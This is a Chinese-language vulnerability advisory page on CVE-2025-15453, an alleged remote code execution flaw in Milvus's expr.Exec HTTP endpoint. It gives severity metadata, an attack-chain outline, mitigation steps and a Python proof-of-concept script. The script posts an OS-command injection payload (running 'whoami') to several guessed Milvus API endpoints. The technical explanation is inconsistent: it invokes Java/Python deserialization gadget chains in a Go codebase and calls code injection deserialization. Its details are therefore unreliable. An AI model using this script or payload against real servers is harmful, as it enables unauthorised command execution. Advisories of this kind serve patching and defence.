IPBUF安全漏洞报告
English
CVE-2025-15453 CVSS 6.3 中危

CVE-2025-15453: Milvus expr.Exec反序列化远程代码执行漏洞

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2025-15453
漏洞类型
反序列化漏洞
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
milvus

相关标签

反序列化漏洞远程代码执行向量数据库MilvusCVE-2025-15453HTTP Endpointexpr.Exec

漏洞概述

CVE-2025-15453是Milvus向量数据库中的一个安全漏洞,影响版本直至2.6.7。该漏洞存在于Milvus的HTTP Endpoint组件中,具体位于pkg/util/expr/expr.go文件的expr.Exec函数。通过精心构造的code参数,攻击者可以触发不安全反序列化操作,从而可能导致远程代码执行。Milvus是一个开源的向量数据库管理系统,广泛应用于AI和机器学习场景中用于向量相似性搜索。由于该漏洞可通过HTTP协议远程利用,且不需要高权限,使得攻击门槛相对较低。漏洞已于2026年1月5日公开披露,且已有公开的利用代码(PoC)存在。官方已在2.6.8版本中修复此问题,建议用户尽快升级。

技术细节

该漏洞的根本原因在于Milvus的表达式执行模块对用户输入的反序列化操作缺乏充分的安全验证。在pkg/util/expr/expr.go文件中,expr.Exec函数接收来自HTTP请求的code参数,该参数被直接传递给反序列化函数而未经过严格的过滤和验证。攻击者可以通过构造包含恶意序列化对象的code参数,利用Java/Python等语言的原生反序列化机制执行任意代码。由于HTTP Endpoint是Milvus的公共接口,攻击者可以直接通过HTTP请求触发该漏洞,无需认证或仅需低权限用户即可实施攻击。反序列化漏洞是OWASP Top 10中的经典安全问题,攻击者通常利用 gadget chain( gadget链)来执行代码。在Milvus的依赖库中可能存在可利用的gadget链,攻击者可以组合使用这些gadget来达成远程代码执行的目的。成功利用后,攻击者可以在服务器上执行任意命令,获取系统权限,窃取数据或部署后门。

攻击链分析

STEP 1
1
信息收集:攻击者识别目标Milvus实例及其HTTP Endpoint接口
STEP 2
2
构造恶意载荷:攻击者构造包含恶意序列化对象的code参数,利用gadget链执行任意代码
STEP 3
3
发送攻击请求:通过HTTP POST请求将恶意载荷发送到Milvus的/v1/query或相关API端点
STEP 4
4
触发反序列化:Milvus的expr.Exec函数接收code参数并执行不安全反序列化
STEP 5
5
代码执行:恶意序列化对象中的gadget链被触发,执行攻击者指定的系统命令
STEP 6
6
权限维持:攻击者可能部署后门或窃取敏感数据,完成攻击目标

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-15453 PoC - Milvus Deserialization RCE # Target: Milvus <= 2.6.7 # Endpoint: HTTP API with expr.Exec function TARGET = "http://target:19530" # Malicious payload for deserialization attack # This payload exploits unsafe deserialization in expr.Exec payload = { "code": "__import__('os').system('whoami')", # Example command injection "expr_type": "unsafe_deserialization" } def exploit_milvus_deserialization(target, payload): """ Exploit CVE-2025-15453 by sending malicious code parameter to the HTTP endpoint that processes expressions. """ try: # Try common Milvus HTTP API endpoints endpoints = [ f"{target}/v1/query", f"{target}/api/v1/query", f"{target}/api/expr/exec" ] for endpoint in endpoints: # Send malicious request response = requests.post( endpoint, json=payload, timeout=10, verify=False ) print(f"[*] Testing endpoint: {endpoint}") print(f"[*] Status: {response.status_code}") print(f"[*] Response: {response.text[:500]}") if response.status_code != 404: return True except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-15453 PoC - Milvus Deserialization") print("=" * 60) result = exploit_milvus_deserialization(TARGET, payload) if result: print("[+] Vulnerability may be present!") else: print("[-] Target not vulnerable or endpoint not found")

影响范围

milvus < 2.6.8
milvus <= 2.6.7

防御指南

临时缓解措施
立即将Milvus升级到2.6.8或最新稳定版本。如果无法立即升级,可采取以下临时措施:1) 通过防火墙限制对Milvus HTTP Endpoint的访问,仅允许受信任的IP访问;2) 在反向代理层实施请求过滤,阻止包含可疑序列化数据的请求;3) 监控HTTP Endpoint的访问日志,及时发现异常请求模式;4) 考虑暂时禁用表达式执行功能直到完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表